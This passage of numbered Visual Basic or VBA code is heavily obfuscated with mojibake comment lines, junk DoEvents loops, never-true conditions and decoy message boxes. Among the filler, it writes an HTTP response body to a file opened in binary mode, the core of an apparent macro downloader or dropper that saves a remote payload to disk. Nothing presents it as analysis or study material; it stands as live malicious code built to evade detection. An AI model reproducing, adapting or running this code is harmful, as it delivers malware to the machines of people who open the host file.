  590. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  591. Next mmNJeoQL
  592. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  593.        MsgBox ("XxHhTgDg61")
  594. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  595. End If
  596. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  597. If Len("XAGYbgcf9369") = Len("rhcZCyof") Then
  598. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  599. Dim EslVKgLV As Integer
  600. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  601. For EslVKgLV = 0 To 7
  602. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  603. Dim tqKcDlyT As Integer
  604. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  605. For tqKcDlyT = 0 To 9
  606. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  607. DoEvents
  608. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  609. Next tqKcDlyT
  610. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  611. DoEvents
  612. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  613. Next EslVKgLV
  614. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  615. Dim EwczGLXh As Integer
  616. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  617. For EwczGLXh = 0 To 7
  618. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  619. DoEvents
  620. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  621. Next EwczGLXh
  622. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  623.       MsgBox ("Error !!!")
  624. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  625. End If
  626. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  627. Dim EdjpasEu As Integer
  628. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  629. For EdjpasEu = 0 To 7
  630. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  631. Dim VNhTOmYg As Integer
  632. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  633. For VNhTOmYg = 0 To 1
  634. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  635. DoEvents
  636. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  637. Next VNhTOmYg
  638. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  639. DoEvents
  640. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  641. Next EdjpasEu
  642. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  643. Dim ZcfQhSzG As Integer
  644. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  645. For ZcfQhSzG = 0 To 7
  646. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  647. DoEvents
  648. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  649. Next ZcfQhSzG
  650. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  651.    QIQIKQJTKIU = TANDPOVQGQA.responseBody
  652. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  653.  
  654. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  655.  
  656. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  657. If 768949 = 768949 + 1 Then End
  658. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  659. If 1381 < 78 Then
  660. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  661. Dim gVTtybqB As Integer
  662. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  663. For gVTtybqB = 0 To 8
  664. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  665. Dim lAxeFSDv As Integer
  666. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  667. For lAxeFSDv = 0 To 8
  668. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  669. DoEvents
  670. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  671. Next lAxeFSDv
  672. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  673. DoEvents
  674. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  675. Next gVTtybqB
  676. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  677. Dim JQzIGdZp As Integer
  678. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  679. For JQzIGdZp = 0 To 4
  680. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  681. DoEvents
  682. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  683. Next JQzIGdZp
  684. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  685.        MsgBox ("uUoKRzMq68")
  686. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  687. End If
  688. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  689. If Len("cJPNYQpl2231") = Len("QNtCqcsg") Then
  690. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  691. Dim XuHslHtU As Integer
  692. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  693. For XuHslHtU = 0 To 8
  694. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  695. Dim rjjRTemS As Integer
  696. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  697. For rjjRTemS = 0 To 2
  698. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  699. DoEvents
  700. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  701. Next rjjRTemS
  702. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  703. DoEvents
  704. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  705. Next XuHslHtU
  706. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  707. Dim OOQBTxzl As Integer
  708. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  709. For OOQBTxzl = 0 To 7
  710. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  711. DoEvents
  712. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  713. Next OOQBTxzl
  714. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  715.       MsgBox ("Error !!!")
  716. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  717. End If
  718. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  719. Dim ehEfnIUS As Integer
  720. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  721. For ehEfnIUS = 0 To 9
  722. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  723. Dim HCBCZpeb As Integer
  724. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  725. For HCBCZpeb = 0 To 7
  726. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  727. DoEvents
  728. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  729. Next HCBCZpeb
  730. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  731. DoEvents
  732. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  733. Next ehEfnIUS
  734. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  735. Dim HVXoQiFU As Integer
  736. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  737. For HVXoQiFU = 0 To 7
  738. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  739. DoEvents
  740. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  741. Next HVXoQiFU
  742. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  743.    FPBPEDJWSVG = FreeFile
  744. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  745.  
  746. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  747.  
  748. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  749.    Open ZXWOGYWHSHM For Binary As #FPBPEDJWSVG
  750. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  751. If 974899 = 974899 + 1 Then End
  752. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  753. If 6596 < 69 Then
  754. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  755. Dim XtawxPiw As Integer
  756. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  757. For XtawxPiw = 0 To 1
  758. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  759. Dim RsqNuoXv As Integer
  760. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  761. For RsqNuoXv = 0 To 7
  762. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  763. DoEvents
  764. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  765. Next RsqNuoXv
  766. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  767. DoEvents
  768. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  769. Next XtawxPiw
  770. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  771. Dim lvOozjBH As Integer
  772. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  773. For lvOozjBH = 0 To 5
  774. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  775. DoEvents
  776. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  777. Next lvOozjBH
  778. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  779.        MsgBox ("QRUNexDW42")
  780. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  781. End If
  782. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  783. If Len("NtGYAoWY7447") = Len("McgsmfoM") Then
  784. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  785. Dim EfsZIaer As Integer
  786. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  787. For EfsZIaer = 0 To 1
  788. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  789. Dim ZAKZioGj As Integer
  790. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  791. For ZAKZioGj = 0 To 1
  792. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  793. DoEvents
  794. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  795. Next ZAKZioGj
  796. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  797. DoEvents
  798. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  799. Next EfsZIaer
  800. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  801. Dim snCqcvdL As Integer
  802. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  803. For snCqcvdL = 0 To 7
  804. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  805. DoEvents
  806. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  807. Next snCqcvdL
  808. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  809.       MsgBox ("Error !!!")
  810. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  811. End If
  812. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  813. Dim PxBRHLTi As Integer
  814. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  815. For PxBRHLTi = 0 To 2
  816. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  817. Dim uNPtywYi As Integer
  818. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  819. For uNPtywYi = 0 To 6
  820. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  821. DoEvents
  822. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  823. Next uNPtywYi
  824. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  825. DoEvents
  826. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  827. Next PxBRHLTi
  828. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  829. Dim HBGDwQrP As Integer
  830. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  831. For HBGDwQrP = 0 To 3
  832. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  833. DoEvents
  834. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  835. Next HBGDwQrP
  836. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  837.    Put #FPBPEDJWSVG, , QIQIKQJTKIU
  838. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  839.  
  840. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  841. If 598923 = 598923 + 1 Then End
  842. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  843. If 3473 < 89 Then
  844. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  845. Dim KRFntJmF As Integer
  846. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  847. For KRFntJmF = 0 To 4
  848. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  849. Dim nQaHBHbj As Integer
  850. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  851. For nQaHBHbj = 0 To 1
  852. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  853. DoEvents
  854. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  855. Next nQaHBHbj
  856. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  857. DoEvents
  858. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  859. Next KRFntJmF
  860. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  861. Dim pPyvguCL As Integer
  862. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  863. For pPyvguCL = 0 To 7
  864. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  865. DoEvents
